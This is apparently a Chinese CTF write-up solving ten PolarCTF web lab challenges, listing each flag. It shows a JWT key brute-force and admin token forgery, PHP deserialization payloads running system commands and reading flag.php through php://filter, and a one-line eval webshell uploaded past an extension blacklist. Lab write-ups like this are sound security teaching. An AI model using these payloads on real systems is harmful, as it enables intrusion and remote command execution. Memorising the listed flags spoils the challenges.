Web刷题之polarctf靶场(2)

1.蜜雪冰城吉警店

点开靶场, 发现题目说点到隐藏奶茶(也就是第九杯)就给flag, 但是明显就只有八杯, 猜测大概率考的是前端代码修改
把id=1修改为id=9, 然后回到页面点击原味奶茶即可弹出flag
#flag{7d43cc8863ad0ee649048e562fde53ec}

2.召唤神龙

打开靶场发现是一个游戏, 爽玩了几把发现通关有难度啊
直接F12查看界面源码, 在main.js文件中发现一串文字, 猜测是jsfuck(源于brainfuck)
上工具, 解密得到flag
#flag{fdf9a88ec4fdd9e3dedaafeece5cc248}

3.seek flag

打开靶场按F12, 发现给出flag的提示, 我们用工具dirsearch扫描一下, 发现存在robots.txt文件


访问即可得到第三段flag3:c0ad71dadd11}
再通过BurpSuite抓包发包试试看能不能得到什么回显, 发现可以得到第二段flag2:3ca8737a70f029d
我们注意到在返回包中有个Set-Cookie, 我们尝试将id改为1发包, 得到flag1:flag{7ac5b
拼接三段flag得到最终结果:flag{7ac5b3ca8737a70f029dc0ad71dadd11}

4.jwt

打开靶场, 发现一个登录和注册, 猜测考察垂直越权, 通过普通用户提权到admin用户
用自己注册的用户名登录后按F12, 由于题目是jwt, 我们找出jwt的值, 然后用工具对其进行爆破得到密钥:SYSA

对JWT进行一个解释:
JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔。
再通过在线网站:https://jwt.io/, 对所得到的jwt值进行解码(如若是线下赛, 可以以.来分割, 每段都用base64解码即可)
其次通过修改用户名为admin, 加入密钥, 得到新的jwt的值:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.9avq5ApZ-XZul2kbon8z2cB6Y4bNru_0nnIZfJ1mO50
修改网页的jwt值为新的jwt值, 然后重新访问网页即可
这样子我们就越权成功, 点开个人中心即可拿到flag
#flag{ec39c705cfb5295f9dddcedc819a1659}

5.签到

打开靶场, 发现提交的按钮点不了
果然打开BurpSuite进行抓包, 先通过发包看返回包, 发现需要用POST请求, 且参数值为key, 第一次尝试key=flag


再根据提示, 对参数值进行修改即可得到flag
#flag{fa3f77dd58a0a8f990bb6292da75618f}

6.session文件包含

打开靶场, 用BurpSuite进行抓包, 发现返回包中有Set-Cookie参数, 再根据题目描述, 猜测存在伪协议
将得到的base64密文, 放到厨子上解密
这里我们猜测session文件在/tmp目录下, 文件格式为sess_+sessionid, 这边sessionid在返回包中有
通过cat或者tac读取flag
#flag{43306e8113f53ece238c0a124432ce19}

7.Don't touch me

打开靶场, 按F12, 找到提示
接着直接F12大法, 跟着它的提示一步步走
访问fla.php即可
#flag{0cee5a97f12b172ceeea2e9f67b7413e}

8.php very nice

本题考察基础的反序列化
<?php
class Example
 {
     public $sys="system('ls');";
 }
$a = new Example();
echo serialize($a);
?>

#先将所有文件回显出来, O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}
发现存在flag.php, 因为它会直接执行, 我们用include+伪协议来读取
<?php
class Example
 {
     public $sys="include('php://filter/read=convert.base64-encode/resource=flag.php');";
 }
$a = new Example();
echo serialize($a);
?>

#O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}
base64解密即可
#flag{202cb962ac59075b964b07152d234b70}

参考网上一把梭哈的做法

<?php
class Example
 {
     public $sys="system('tac f*');";
 }
$a = new Example();
echo serialize($a);
?>
#O:7:"Example":1:{s:3:"sys";s:17:"system('tac f*');";}
#flag{202cb962ac59075b964b07152d234b70}

9.cookie欺骗

抓包, 修改Cookie的值为admin即可
#flag{10e35c76602b330149ef009e0b484d8f}

10.upload

打开靶场, 发现要上传一句话木马, 发现有code里面应该藏着黑名单
代码审计后发现, 可以尝试双写文件后缀名尝试绕过
一句话木马
<?php @eval($_POST['aaa']);?>
再通过中国蚁剑进行连接即可
#flag{a89f40341f4271659154829a2215f428}